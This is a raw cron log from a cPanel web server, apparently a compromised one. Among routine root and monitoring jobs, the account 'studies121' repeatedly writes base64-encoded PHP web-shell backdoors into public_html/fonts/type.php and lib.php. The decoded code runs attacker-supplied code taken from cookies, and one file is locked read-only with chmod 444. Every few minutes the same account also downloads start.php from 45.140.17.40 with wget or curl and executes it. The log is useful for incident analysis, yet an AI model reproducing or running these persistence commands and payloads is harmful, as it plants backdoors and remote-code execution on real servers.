Sep  5 01:31:01 ip-184-168-122-23 CROND[18720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:31:01 ip-184-168-122-23 CROND[18722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:31:01 ip-184-168-122-23 CROND[18723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:32:01 ip-184-168-122-23 CROND[18803]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:32:01 ip-184-168-122-23 CROND[18805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:32:01 ip-184-168-122-23 CROND[18806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:32:01 ip-184-168-122-23 CROND[18809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:32:01 ip-184-168-122-23 CROND[18808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:33:01 ip-184-168-122-23 CROND[18886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:33:01 ip-184-168-122-23 CROND[18888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:33:01 ip-184-168-122-23 CROND[18887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:33:01 ip-184-168-122-23 CROND[18890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:34:01 ip-184-168-122-23 CROND[19061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:34:01 ip-184-168-122-23 CROND[19060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:34:01 ip-184-168-122-23 CROND[19063]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:34:01 ip-184-168-122-23 CROND[19062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:34:01 ip-184-168-122-23 CROND[19064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:35:01 ip-184-168-122-23 CROND[19160]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 01:35:01 ip-184-168-122-23 CROND[19164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:35:01 ip-184-168-122-23 CROND[19165]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:35:01 ip-184-168-122-23 CROND[19163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:35:01 ip-184-168-122-23 CROND[19166]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:35:01 ip-184-168-122-23 CROND[19169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:35:01 ip-184-168-122-23 CROND[19172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:35:01 ip-184-168-122-23 CROND[19168]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 01:36:01 ip-184-168-122-23 CROND[19261]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:36:01 ip-184-168-122-23 CROND[19265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:36:01 ip-184-168-122-23 CROND[19263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:36:01 ip-184-168-122-23 CROND[19264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:36:01 ip-184-168-122-23 CROND[19266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:37:01 ip-184-168-122-23 CROND[19349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:37:01 ip-184-168-122-23 CROND[19348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:37:01 ip-184-168-122-23 CROND[19351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:37:01 ip-184-168-122-23 CROND[19350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:38:01 ip-184-168-122-23 CROND[19427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:38:01 ip-184-168-122-23 CROND[19426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:38:01 ip-184-168-122-23 CROND[19428]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:38:01 ip-184-168-122-23 CROND[19429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:38:01 ip-184-168-122-23 CROND[19434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:39:01 ip-184-168-122-23 CROND[19601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:39:01 ip-184-168-122-23 CROND[19604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:39:01 ip-184-168-122-23 CROND[19605]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 01:39:01 ip-184-168-122-23 CROND[19603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:39:01 ip-184-168-122-23 CROND[19606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:40:02 ip-184-168-122-23 CROND[19692]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 01:40:02 ip-184-168-122-23 CROND[19695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:40:02 ip-184-168-122-23 CROND[19697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:40:02 ip-184-168-122-23 CROND[19698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:40:02 ip-184-168-122-23 CROND[19696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:40:02 ip-184-168-122-23 CROND[19699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:40:02 ip-184-168-122-23 CROND[19701]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:40:02 ip-184-168-122-23 CROND[19704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:41:02 ip-184-168-122-23 CROND[19792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:41:02 ip-184-168-122-23 CROND[19793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:41:02 ip-184-168-122-23 CROND[19794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:41:02 ip-184-168-122-23 CROND[19795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:42:01 ip-184-168-122-23 CROND[19871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:42:01 ip-184-168-122-23 CROND[19873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:42:01 ip-184-168-122-23 CROND[19874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:42:01 ip-184-168-122-23 CROND[19875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:42:01 ip-184-168-122-23 CROND[19877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:43:01 ip-184-168-122-23 CROND[19958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:43:01 ip-184-168-122-23 CROND[19960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
